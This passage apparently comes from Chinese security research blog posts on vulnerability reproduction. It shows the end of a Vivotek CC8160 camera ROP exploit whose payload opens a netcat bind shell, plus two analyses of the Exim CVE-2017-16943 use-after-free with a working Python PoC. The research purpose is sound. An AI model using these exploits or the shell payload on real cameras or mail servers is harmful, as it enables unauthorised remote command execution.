如下。1<ol class="linenums"><li class="L0"><code><span class="com"># 基于 qemu 模拟环境</span></code></li><li class="L1"><code><span class="com"># 摄像头型号:Vivotek CC8160</span></code></li><li class="L2"><code><span class="com"># 0x00048784 : pop {r1, pc} </span></code></li><li class="L3"><code><span class="com"># 0x00016aa4 : mov r0, r1 ; pop {r4, r5, pc}</span></code></li><li class="L4"><code></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="com">#!/usr/bin/python</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="kwd">from</span><span class="pln"> pwn </span><span class="kwd">import</span><span class="pln"> </span><span class="pun">*</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln">libc_base </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0xb6f2d000</span><span class="pln"> </span><span class="com"># libC 库在内存中的加载地址</span></code></li><li class="L1"><code><span class="pln">stack_base </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0xbeffeb70</span><span class="pln"> </span><span class="com"># 崩溃时 SP 寄存器的地址</span></code></li><li class="L2"><code><span class="pln">libc_elf </span><span class="pun">=</span><span class="pln"> ELF</span><span class="pun">(</span><span class="str">'libuClibc-0.9.33.3-git.so'</span><span class="pun">)</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="pln">payload </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="lit">0x38</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="lit">4</span><span class="pun">)</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="str">'a'</span><span class="pln"> </span><span class="com"># padding</span></code></li><li class="L5"><code><span class="pln">payload </span><span class="pun">+=</span><span class="pln"> p32</span><span class="pun">(</span><span class="lit">0x00048784</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> libc_base</span><span class="pun">)</span><span class="pln"> </span><span class="com"># gadget1</span></code></li><li class="L6"><code><span class="pln">payload </span><span class="pun">+=</span><span class="pln"> p32</span><span class="pun">(</span><span class="lit">0x80</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> stack_base</span><span class="pun">)</span><span class="pln"> </span><span class="com"># 栈中命令参数地址</span></code></li><li class="L7"><code><span class="pln">payload </span><span class="pun">+=</span><span class="pln"> p32</span><span class="pun">(</span><span class="lit">0x00016aa4</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> libc_base</span><span class="pun">)</span><span class="pln"> </span><span class="com"># gadget2</span></code></li><li class="L8"><code><span class="pln">payload </span><span class="pun">+=</span><span class="pln"> </span><span class="pun">(</span><span class="lit">0x8</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="str">'a'</span><span class="pun">)</span><span class="pln"> </span><span class="com"># padding</span></code></li><li class="L9"><code><span class="pln">payload </span><span class="pun">+=</span><span class="pln"> p32</span><span class="pun">(</span><span class="pln">libc_elf</span><span class="pun">.</span><span class="pln">symbols</span><span class="pun">[</span><span class="str">'system'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> libc_base</span><span class="pun">)</span><span class="pln"> </span><span class="com"># 内存中 system() 函数地址</span></code></li><li class="L0"><code><span class="pln">payload </span><span class="pun">+=</span><span class="pln"> </span><span class="pun">(</span><span class="str">'pwd;'</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="lit">0x100</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="str">'nc\x20-lp2222\x20-e/bin/sh\x20>'</span><span class="pun">)</span><span class="pln"> </span><span class="com"># 命令参数</span></code></li><li class="L1"><code></code></li><li class="L2"><code></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="pln">payload </span><span class="pun">=</span><span class="pln"> </span><span class="str">'echo -en "POST /cgi-bin/admin/upgrade.cgi \nHTTP/1.0\nContent-Length:{}\n\r\n\r\n" | nc -v 192.168.2.2 80'</span><span class="pun">.</span><span class="pln">format</span><span class="pun">(</span><span class="pln">payload</span><span class="pun">)</span></code></li></ol>通过调试 ,我们可以获得崩溃时的栈顶地址,为了确保命令能执行,我们在真正要执行的命令前加了部分命令作为缓冲。
可以看到,开启了
NX
保护的栈上虽然不可执行代码,但是依然可以在上面部署数据。我们只需要将要执行的命令部署到栈上,构造 ROP 让 R0 寄存器指向栈上的命令所在区域,然后return2libC
调用系统函数,就可以执行任意命令了。已将 PoC 和 EXP 整理成 Pocsuite 脚本:https://www.seebug.org/vuldb/ssvid-96866/https://www.seebug.org/vuldb/ssvid-96866,验证效果如下。
致谢
第一次接触
ARM
汇编,有很多不足之处,欢迎各大佬指正。中途踩了不少坑,感谢 404 小伙伴 @Hcamael 和 @没有ID 的各种疑难解答。参考链接
- https://www.seebug.org/vuldb/ssvid-96866/https://www.seebug.org/vuldb/ssvid-96866
- http://seclists.org/fulldisclosure/2017/Nov/31/http://seclists.org/fulldisclosure/2017/Nov/31
- https://paper.seebug.org/271/
- https://paper.seebug.org/272/
- http://0x48.pw/2016/11/03/0x26/
- http://www.freebuf.com/articles/terminal/107276.html
-
CVE-2017-16943 Exim UAF漏洞分析–后续
上一篇分析出来后,经过@orange的提点,得知了meh公布的PoC是需要特殊配置才能触发,所以我上一篇分析文章最后的结论应该改成,在默认配置情况下,meh提供的PoC无法成功触发uaf漏洞。之后我又对为啥修改了配置后能触发和默认情况下如何触发漏洞进行了研究
重新复现漏洞
比上一篇分析中复现的步骤,只需要多一步,注释了
/usr/exim/configure
文件中的control = dkim_disable_verify
然后调整下poc的padding,就可以成功触发UAF漏洞,控制rip
分析特殊配置下的触发流程
在代码中有一个变量是
dkim_disable_verify
, 在设置后会变成true
,所以注释掉的情况下,就为默认值false
, 然后再看看receive.c
中的代码:1<ol class="linenums"><li class="L0"><code class="lang-c"><span class="pln">BOOL</span></code></li><li class="L1"><code class="lang-c"><span class="pln">receive_msg</span><span class="pun">(</span><span class="pln">BOOL extract_recip</span><span class="pun">)</span></code></li><li class="L2"><code class="lang-c"><span class="pun">{</span></code></li><li class="L3"><code class="lang-c"><span class="pun">......</span></code></li><li class="L4"><code class="lang-c"><span class="lit">1733</span><span class="pun">:</span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">smtp_input </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">!</span><span class="pln">smtp_batched_input </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">!</span><span class="pln">dkim_disable_verify</span><span class="pun">)</span></code></li><li class="L5"><code class="lang-c"><span class="lit">1734</span><span class="pun">:</span><span class="pln"> dkim_exim_verify_init</span><span class="pun">(</span><span class="pln">chunking_state </span><span class="pun"><=</span><span class="pln"> CHUNKING_OFFERED</span><span class="pun">);</span></code></li><li class="L6"><code class="lang-c"><span class="lit">1735</span><span class="pun">:#</span><span class="pln">endif</span></code></li></ol>进入了
dkim_exim_verify_init
函数,之后的大致流程:1<ol class="linenums"><li class="L0"><code><span class="pln">dkim_exim_verify_init </span><span class="pun">-></span><span class="pln"> pdkim_init_verify </span><span class="pun">-></span><span class="pln"> ctx</span><span class="pun">-></span><span class="pln">linebuf </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">PDKIM_MAX_BODY_LINE_LEN</span><span class="pun">);</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pln">bdat_getc </span><span class="pun">-></span><span class="pln"> smtp_getc </span><span class="pun">-></span><span class="pln"> smtp_refill </span><span class="pun">-></span><span class="pln"> dkim_exim_verify_feed </span><span class="pun">-></span><span class="pln"> pdkim_feed </span><span class="pun">-></span><span class="pln"> string_catn </span><span class="pun">-></span><span class="pln"> string_get </span><span class="pun">-></span><span class="pln"> store_get</span><span class="pun">(</span><span class="lit">0x64</span><span class="pun">)</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="com">#define</span><span class="pln"> PDKIM_MAX_BODY_LINE_LEN </span><span class="lit">16384</span><span class="pln"> </span><span class="com">//0x4000</span></code></li></ol>在上一篇文章中说过了,无法成功触发uaf漏洞的原因是,被free的堆处于堆顶,释放后就和top chunk合并了。
在注释了dkim的配置后,在
dkim_exim_verify_init
函数的流程中,执行了一个store_get
函数,申请了一个0x4000大小的堆,然后在dkim_exim_verify_init
函数和dkim_exim_verify_feed
函数中,都有如下的代码:1<ol class="linenums"><li class="L0"><code><span class="pln">store_pool </span><span class="pun">=</span><span class="pln"> POOL_PERM</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pun">......</span></code></li><li class="L2"><code><span class="pln">store_pool </span><span class="pun">=</span><span class="pln"> dkim_verify_oldpool</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pun">---------------</span></code></li><li class="L4"><code><span class="kwd">enum</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> POOL_MAIN</span><span class="pun">,</span><span class="pln"> POOL_PERM</span><span class="pun">,</span><span class="pln"> POOL_SEARCH </span><span class="pun">};</span></code></li></ol>store_pool
全局变量被修改为了1,之前说过了,exim自己实现了一套堆管理,当store_pool
不同时,相当于对堆进行了隔离,不会影响receive_msg
函数中使用堆管理时的current_block
这类的堆管理全局变量当dkim相关的代码执行结束后,还把
store_pool
恢复回去了因为申请了一个0x4000大小的堆,大于0x2000,所以申请之后
yield_length
全局变量的值变为了0,导致了之后store_get(0x64)
再次申请了一块堆,所以有了两块堆放在了heap1的上面,释放heap1后,heap1被放入了unsortbin,成功触发了uaf漏洞,造成crash。(之前的文章中都有写到)默认配置情况下复现漏洞
在特殊配置情况下复现了漏洞后,又进行了如果在默认配置情况下触发漏洞的研究。
在@explorer大佬的教导下,发现了一种在默认情况下触发漏洞的情况。
其实触发的关键点,就是想办法在heap1上面再malloc一个堆,现在我们从头来开始分析
1<ol class="linenums"><li class="L0"><code><span class="com">// daemon.c</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="lit">137</span><span class="pln"> </span><span class="kwd">static</span><span class="pln"> </span><span class="kwd">void</span></code></li><li class="L3"><code><span class="lit">138</span><span class="pln"> handle_smtp_call</span><span class="pun">(</span><span class="kwd">int</span><span class="pln"> </span><span class="pun">*</span><span class="pln">listen_sockets</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> listen_socket_count</span><span class="pun">,</span></code></li><li class="L4"><code><span class="lit">139</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> accept_socket</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">struct</span><span class="pln"> sockaddr </span><span class="pun">*</span><span class="pln">accepted</span><span class="pun">)</span></code></li><li class="L5"><code><span class="lit">140</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L6"><code><span class="pun">......</span></code></li><li class="L7"><code><span class="lit">348</span><span class="pln"> pid </span><span class="pun">=</span><span class="pln"> fork</span><span class="pun">();</span></code></li><li class="L8"><code><span class="lit">352</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">pid </span><span class="pun">==</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L9"><code><span class="lit">353</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L0"><code><span class="pun">......</span></code></li><li class="L1"><code><span class="lit">504</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">((</span><span class="pln">rc </span><span class="pun">=</span><span class="pln"> smtp_setup_msg</span><span class="pun">())</span><span class="pln"> </span><span class="pun">></span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L2"><code><span class="lit">505</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L3"><code><span class="lit">506</span><span class="pln"> BOOL ok </span><span class="pun">=</span><span class="pln"> receive_msg</span><span class="pun">(</span><span class="pln">FALSE</span><span class="pun">);</span></code></li><li class="L4"><code><span class="pun">......</span></code></li></ol>首先,当有新连接进来的时候,fork一个子进程,然后进入上面代码中的那个分支,
smtp_setup_msg
函数是用来接收命令的函数,我们先发一堆无效的命令过去(padding),控制yield_length
的值小于0x100,目的上一篇文章说过了,因为命令无效,流程再一次进入了smtp_setup_msg
这时候我们发送一个命令
BDAT 16356
然后有几个比较重要的操作:
1<ol class="linenums"><li class="L0"><code><span class="lit">5085</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">sscanf</span><span class="pun">(</span><span class="pln">CS smtp_cmd_data</span><span class="pun">,</span><span class="pln"> </span><span class="str">"%u %n"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">chunking_datasize</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">n</span><span class="pun">)</span><span class="pln"> </span><span class="pun"><</span><span class="pln"> </span><span class="lit">1</span><span class="pun">)</span></code></li><li class="L1"><code><span class="lit">5093</span><span class="pln"> chunking_data_left </span><span class="pun">=</span><span class="pln"> chunking_datasize</span><span class="pun">;</span></code></li><li class="L2"><code><span class="lit">5100</span><span class="pln"> lwr_receive_getc </span><span class="pun">=</span><span class="pln"> receive_getc</span><span class="pun">;</span></code></li><li class="L3"><code><span class="lit">5101</span><span class="pln"> lwr_receive_getbuf </span><span class="pun">=</span><span class="pln"> receive_getbuf</span><span class="pun">;</span></code></li><li class="L4"><code><span class="lit">5102</span><span class="pln"> lwr_receive_ungetc </span><span class="pun">=</span><span class="pln"> receive_ungetc</span><span class="pun">;</span></code></li><li class="L5"><code><span class="lit">5104</span><span class="pln"> receive_getc </span><span class="pun">=</span><span class="pln"> bdat_getc</span><span class="pun">;</span></code></li><li class="L6"><code><span class="lit">5105</span><span class="pln"> receive_ungetc </span><span class="pun">=</span><span class="pln"> bdat_ungetc</span><span class="pun">;</span></code></li></ol>首先是把输入的16356赋值给
chunking_data_left
然后把
receive_getc
换成bdat_getc
函数再做完这些的操作后,进入了
receive_msg
函数,按照上篇文章的流程差不多,显示申请了一个0x100的heap1然后进入
receive_getc=bdat_getc
读取数据:1<ol class="linenums"><li class="L0"><code class="lang-c"><span class="lit">534</span><span class="pln"> </span><span class="typ">int</span></code></li><li class="L1"><code class="lang-c"><span class="lit">535</span><span class="pln"> bdat_getc</span><span class="pun">(</span><span class="kwd">unsigned</span><span class="pln"> lim</span><span class="pun">)</span></code></li><li class="L2"><code class="lang-c"><span class="lit">536</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L3"><code class="lang-c"><span class="pun">......</span></code></li><li class="L4"><code class="lang-c"><span class="lit">546</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">chunking_data_left </span><span class="pun">></span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L5"><code class="lang-c"><span class="lit">547</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> lwr_receive_getc</span><span class="pun">(</span><span class="pln">chunking_data_left</span><span class="pun">--);</span></code></li></ol>lwr_receive_getc=smtp_getc
通过该函数获取16356个字符串首先,我们发送16352个a作为padding,然后执行了下面这流程:
- store_extend return 0 -> store_get -> store_release
先申请了一个0x4010的heap2,然后释放了长度为0x2010的heap1
然后发送
:\r\n
,进入下面的代码分支:1<ol class="linenums"><li class="L0"><code class="lang-c"><span class="lit">1902</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ch </span><span class="pun">==</span><span class="pln"> </span><span class="str">'\r'</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-c"><span class="lit">1903</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code class="lang-c"><span class="lit">1904</span><span class="pln"> ch </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">receive_getc</span><span class="pun">)(</span><span class="pln">GETC_BUFFER_UNLIMITED</span><span class="pun">);</span></code></li><li class="L3"><code class="lang-c"><span class="lit">1905</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ch </span><span class="pun">==</span><span class="pln"> </span><span class="str">'\n'</span><span class="pun">)</span></code></li><li class="L4"><code class="lang-c"><span class="lit">1906</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L5"><code class="lang-c"><span class="lit">1907</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">first_line_ended_crlf </span><span class="pun">==</span><span class="pln"> TRUE_UNSET</span><span class="pun">)</span><span class="pln"> first_line_ended_crlf </span><span class="pun">=</span><span class="pln"> TRUE</span><span class="pun">;</span></code></li><li class="L6"><code class="lang-c"><span class="lit">1908</span><span class="pln"> </span><span class="kwd">goto</span><span class="pln"> EOL</span><span class="pun">;</span></code></li><li class="L7"><code class="lang-c"><span class="lit">1909</span><span class="pln"> </span><span class="pun">}</span></code></li></ol>跳到了EOL,最重要的是最后几行代码:
1<ol class="linenums"><li class="L0"><code class="lang-c"><span class="lit">2215</span><span class="pln"> header_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">256</span><span class="pun">;</span></code></li><li class="L1"><code class="lang-c"><span class="lit">2216</span><span class="pln"> next </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="kwd">sizeof</span><span class="pun">(</span><span class="pln">header_line</span><span class="pun">));</span></code></li><li class="L2"><code class="lang-c"><span class="lit">2217</span><span class="pln"> next</span><span class="pun">-></span><span class="pln">text </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">header_size</span><span class="pun">);</span></code></li><li class="L3"><code class="lang-c"><span class="lit">2218</span><span class="pln"> ptr </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L4"><code class="lang-c"><span class="lit">2219</span><span class="pln"> had_zero </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L5"><code class="lang-c"><span class="lit">2220</span><span class="pln"> prevlines_length </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L6"><code class="lang-c"><span class="lit">2221</span><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="com">/* Continue, starting to read the next header */</span></code></li></ol>把一些变量重新进行了初始化,因为之前因为padding执行了
store_get(0x4000)
,所以这个时候yield_length=0
这个时候再次调用store_get将会申请一个0x2000大小堆,从unsortbin中发现heap1大小正好合适,所以这个时候得到的就是heap1,在heap1的顶上有一个之前next->text
使用,大小0x4010,未释放的堆。之后流程的原理其实跟之前的差不多,PoC如下:
1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">r </span><span class="pun">=</span><span class="pln"> remote</span><span class="pun">(</span><span class="str">'localhost'</span><span class="pun">,</span><span class="pln"> </span><span class="lit">25</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-python"></code></li><li class="L2"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">recvline</span><span class="pun">()</span></code></li><li class="L3"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"EHLO test"</span><span class="pun">)</span></code></li><li class="L4"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">recvuntil</span><span class="pun">(</span><span class="str">"250 HELP"</span><span class="pun">)</span></code></li><li class="L5"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"MAIL FROM:<test@localhost>"</span><span class="pun">)</span></code></li><li class="L6"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">recvline</span><span class="pun">()</span></code></li><li class="L7"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"RCPT TO:<test@localhost>"</span><span class="pun">)</span></code></li><li class="L8"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">recvline</span><span class="pun">()</span></code></li><li class="L9"><code class="lang-python"><span class="com"># raw_input()</span></code></li><li class="L0"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">'a'</span><span class="pun">*</span><span class="lit">0x1300</span><span class="pun">+</span><span class="str">'\x7f'</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-python"><span class="com"># raw_input()</span></code></li><li class="L2"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">recvuntil</span><span class="pun">(</span><span class="str">'command'</span><span class="pun">)</span></code></li><li class="L3"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">'BDAT 16356'</span><span class="pun">)</span></code></li><li class="L4"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"a"</span><span class="pun">*</span><span class="lit">16352</span><span class="pun">+</span><span class="str">':\r'</span><span class="pun">)</span></code></li><li class="L5"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">'aBDAT \x7f'</span><span class="pun">)</span></code></li><li class="L6"><code class="lang-python"><span class="pln">s </span><span class="pun">=</span><span class="pln"> </span><span class="str">'a'</span><span class="pun">*</span><span class="lit">6</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> p64</span><span class="pun">(</span><span class="lit">0xabcdef</span><span class="pun">)*(</span><span class="lit">0x1e00</span><span class="pun">/</span><span class="lit">8</span><span class="pun">)</span></code></li><li class="L7"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">send</span><span class="pun">(</span><span class="pln">s</span><span class="pun">+</span><span class="pln"> </span><span class="str">':\r\n'</span><span class="pun">)</span></code></li><li class="L8"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">recvuntil</span><span class="pun">(</span><span class="str">'command'</span><span class="pun">)</span></code></li><li class="L9"><code class="lang-python"><span class="com">#raw_input()</span></code></li><li class="L0"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">send</span><span class="pun">(</span><span class="str">'\n'</span><span class="pun">)</span></code></li></ol>exp
根据该CVE作者发的文章,得知是利用文件IO的fflush来控制第一个参数,然后通过堆喷和内存枚举来来伪造vtable,最后跳转到
expand_string
函数来执行命令,正好我最近也在研究ctf中的_IO_FILE
的相关利用(之后应该会写几篇这方面相关的blog),然后实现了RCE,结果图如下:参考链接
-
CVE-2017-16943 Exim UAF漏洞分析
感恩节那天,meh在Bugzilla上提交了一个exim的uaf漏洞:https://bugs.exim.org/show_bug.cgi?id=2199,这周我对该漏洞进行应急复现,却发现,貌似利用meh提供的PoC并不能成功利用UAF漏洞造成crash
漏洞复现
首先进行漏洞复现
环境搭建
复现环境:ubuntu 16.04 server
1<ol class="linenums"><li class="L0"><code class="lang-bash"><span class="com"># 从github上拉取源码</span></code></li><li class="L1"><code class="lang-bash"><span class="pln">$ git clone https</span><span class="pun">://</span><span class="pln">github</span><span class="pun">.</span><span class="pln">com</span><span class="pun">/</span><span class="typ">Exim</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">.</span><span class="pln">git</span></code></li><li class="L2"><code class="lang-bash"><span class="com"># 在4e6ae62分支修补了UAF漏洞,所以把分支切换到之前的178ecb:</span></code></li><li class="L3"><code class="lang-bash"><span class="pln">$ git checkout ef9da2ee969c27824fcd5aed6a59ac4cd217587b</span></code></li><li class="L4"><code class="lang-bash"><span class="com"># 安装相关依赖</span></code></li><li class="L5"><code class="lang-bash"><span class="pln">$ apt install libdb</span><span class="pun">-</span><span class="pln">dev libpcre3</span><span class="pun">-</span><span class="pln">dev</span></code></li><li class="L6"><code class="lang-bash"><span class="com"># 获取meh提供的Makefile文件,放到Local目录下,如果没有则创建该目录</span></code></li><li class="L7"><code class="lang-bash"><span class="pln">$ cd src</span></code></li><li class="L8"><code class="lang-bash"><span class="pln">$ mkdir </span><span class="typ">Local</span></code></li><li class="L9"><code class="lang-bash"><span class="pln">$ cd </span><span class="typ">Local</span></code></li><li class="L0"><code class="lang-bash"><span class="pln">$ wget </span><span class="str">"https://bugs.exim.org/attachment.cgi?id=1051"</span><span class="pln"> </span><span class="pun">-</span><span class="pln">O </span><span class="typ">Makefile</span></code></li><li class="L1"><code class="lang-bash"><span class="pln">$ cd </span><span class="pun">..</span></code></li><li class="L2"><code class="lang-bash"><span class="com"># 修改Makefile文件的第134行,把用户修改为当前服务器上存在的用户,然后编译安装</span></code></li><li class="L3"><code class="lang-bash"><span class="pln">$ make </span><span class="pun">&&</span><span class="pln"> make install</span></code></li></ol>然后再修改下配置文件
/etc/exim/configure
文件的第364行,把accept hosts = :
修改成accept hosts = *
PoC测试
从https://bugs.exim.org/attachment.cgi?id=1050获取到meh的debug信息,得知启动参数:
1<ol class="linenums"><li class="L0"><code><span class="pln">$ </span><span class="pun">/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">/</span><span class="pln">bin</span><span class="pun">/</span><span class="pln">exim </span><span class="pun">-</span><span class="pln">bdf </span><span class="pun">-</span><span class="pln">d</span><span class="pun">+</span><span class="pln">all</span></code></li></ol>PoC有两个:
需要先安装下pwntools,直接用pip装就好了,两个PoC的区别其实就是padding的长度不同而已
然后就使用PoC进行测试,发现几个问题:
- 我的debug信息在最后一部分和meh提供的不一样
- 虽然触发了crash,但是并不是UAF导致的crash
debug信息不同点比较:
1<ol class="linenums"><li class="L0"><code><span class="com"># 我的debug信息</span></code></li><li class="L1"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">500</span><span class="pln"> unrecognized command</span></code></li><li class="L2"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun"><<</span><span class="pln"> BDAT </span><span class="lit">1</span></code></li><li class="L3"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> chunking state </span><span class="lit">1</span><span class="pun">,</span><span class="pln"> </span><span class="lit">1</span><span class="pln"> bytes</span></code></li><li class="L4"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> search_tidyup called</span></code></li><li class="L5"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">250</span><span class="pln"> </span><span class="lit">1</span><span class="pln"> </span><span class="kwd">byte</span><span class="pln"> chunk received</span></code></li><li class="L6"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> chunking state </span><span class="lit">0</span></code></li><li class="L7"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun"><<</span><span class="pln"> BDAT </span><span class="pun"></span></code></li><li class="L8"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> smtp_protocol_error MAIN</span></code></li><li class="L9"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP protocol error </span><span class="kwd">in</span><span class="pln"> </span><span class="str">"BDAT \177"</span><span class="pln"> H</span><span class="pun">=(</span><span class="pln">test</span><span class="pun">)</span><span class="pln"> </span><span class="pun">[</span><span class="lit">10.0</span><span class="pun">.</span><span class="lit">6.18</span><span class="pun">]</span><span class="pln"> missing size </span><span class="kwd">for</span><span class="pln"> BDAT command</span></code></li><li class="L0"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">501</span><span class="pln"> missing size </span><span class="kwd">for</span><span class="pln"> BDAT command</span></code></li><li class="L1"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> host </span><span class="kwd">in</span><span class="pln"> ignore_fromline_hosts</span><span class="pun">?</span><span class="pln"> </span><span class="kwd">no</span><span class="pln"> </span><span class="pun">(</span><span class="pln">option unset</span><span class="pun">)</span></code></li><li class="L2"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="pun">>></span><span class="typ">Headers</span><span class="pln"> received</span><span class="pun">:</span></code></li><li class="L3"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="pun">:</span></code></li><li class="L4"><code><span class="pun">...一堆不可显字符</span></code></li><li class="L5"><code><span class="pun">****</span><span class="pln"> debug </span><span class="kwd">string</span><span class="pln"> too </span><span class="kwd">long</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> truncated </span><span class="pun">****</span></code></li><li class="L6"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span></code></li><li class="L7"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span 